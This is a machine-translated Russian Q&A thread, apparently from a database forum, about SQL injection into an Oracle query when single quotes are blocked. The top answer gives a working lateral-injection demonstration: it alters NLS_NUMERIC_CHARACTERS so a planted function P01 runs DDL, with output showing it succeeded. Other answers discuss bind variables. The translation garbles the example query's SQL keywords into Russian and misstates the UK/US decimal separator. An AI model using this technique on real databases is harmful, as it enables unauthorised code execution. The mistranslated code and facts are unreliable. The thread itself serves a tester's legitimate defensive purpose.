Есть ли способ вырваться из строки и ввести SQL без использования одинарных кавычек в оракуле?

12

Я тестирую приложение на основе оракула и обнаружил следующий код:

Query = "ВЫБРАТЬ имя из сотрудников, ГДЕ id = '" + PKID + "';"

то есть строка запроса содержит кавычки вокруг значения PKID, которое получено прямо из URL.

Очевидно, это классическая SQL-инъекция, ожидающая выполнения ... за исключением того, что приложение находится за CA SiteMinder, который блокирует передачу любого URL-адреса с одинарной кавычкой (в любой форме) в приложение.

Есть ли способ вырваться из строки и ввести SQL без использования одинарных кавычек?

Редактировать: Извините, я должен был быть более ясным - я понимаю, как это должно быть написано, но мне нужно убедить людей, что это эксплуатируемая проблема. На данный момент, потому что он находится за siteminder, который блокирует одинарные кавычки, так что это будет исправление с низким приоритетом.

jdsnape
источник
1
Вы пытались использовать переменную связывания?
JHFB
Что сказал @JHFB. Связывание переменных является стандартной практикой.
Philᵀᴹ

Ответы:

9

Да, можно выполнить атаку SQL-инъекцией без указания кавычек в параметре.

Это можно сделать с помощью эксплойта для обработки чисел и / или дат. На уровне сеанса вы можете указать формат даты или числа. Управляя этим, вы можете вводить с любым персонажем.

По умолчанию в Великобритании и США запятая используется для обозначения разделителя тысяч в числах, а точка с запятой для десятичной точки. Вы можете изменить эти значения по умолчанию, выполнив:

alter session set nls_numeric_characters = 'PZ';

Это означает, что «P» теперь является десятичной точкой, а «Z» - разделителем тысяч. Так:

0P01

Это число 0,01. Однако, если вы создадите функцию P01, ссылка на объект будет выбрана до преобразования числа. Это позволяет вам выполнять функции в базе данных, предоставляя вам дополнительные полномочия, а именно:

Создайте базовую функцию «get by id»:

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

Также создайте функцию P01, которая делает что-то нежелательное (в данном случае просто создайте таблицу, но вы поняли):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

И мы готовы идти:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

Кавычек нигде нет, но нам все же удалось выполнить «скрытую» функцию P01 и создать таблицу t!

Хотя это может быть трудно сделать на практике (и может потребовать некоторых внутренних знаний / помощи), это показывает, что вы можете вводить SQL без необходимости заключать в кавычки. Изменение nls_date_formatможет позволить сделать подобные вещи.

Оригинальные результаты для чисел были сделаны Дэвидом Личфилдом, и вы можете прочитать его статью здесь . Вы можете найти обсуждение Тома Кайта о том, как даты могут быть использованы здесь .

Крис Саксон
источник
4

Возможно, вы могли бы перегрузить тип данных, который вы используете, что приведет к сбою этого оператора. Тогда то, что последует, может быть запущено.

Возможно, отправка его в виде байтового массива в Юникоде сделает свое дело и выведет вас из этого оператора в другой.

Если открыта дыра, ею будут злоупотреблять. А блокировать все строки одной кавычкой не очень хорошая идея, так как люди с фамилией «О'Брайан» не могут быть вашими клиентами (среди прочих).

mrdenny
источник
Я предполагаю, что вы имеете в виду «дыра», а не «целое».
ypercubeᵀᴹ
1

Попробуйте использовать переменную связывания. Вы можете объявить его как число, и это должно предотвратить повреждение SQL-кода.

ДОПОЛНЕНИЕ: переменные связывания также повышают производительность и масштабируемость, поскольку план запроса компилируется и сохраняется для повторного использования. Просто что-то еще, чтобы добавить к вашему аргументу. :)

JHFB
источник
1
Он спрашивает не о способах предотвращения инъекций, а о способах злоупотребления им.
Джефф
1
@jeff ОП также запрашивает причины не использовать этот вид кода. Неиспользование переменных связывания снижает производительность, поэтому это хорошая причина, чтобы всегда их использовать.
Винсент Малграт
@ Vincent Malgrat: «Не использование переменных связывания снижает производительность» - это неправильно. Это правда, что перекомпиляции оператора можно избежать с помощью переменных связывания. Также общий пул будет заполнен множеством похожих операторов, если вы не используете переменные связывания. Тем не менее, оптимизатор имеет меньше информации для построения плана, если вместо литеральных значений используются переменные связывания. Существуют ситуации, когда следует выбирать разные планы в зависимости от значений переменных связывания (или литеральных значений).
чудо173
@ miracle173 Конечно, будут исключения, но не для поиска первичного ключа, заданного ОП, никогда =)
Винсент Малграт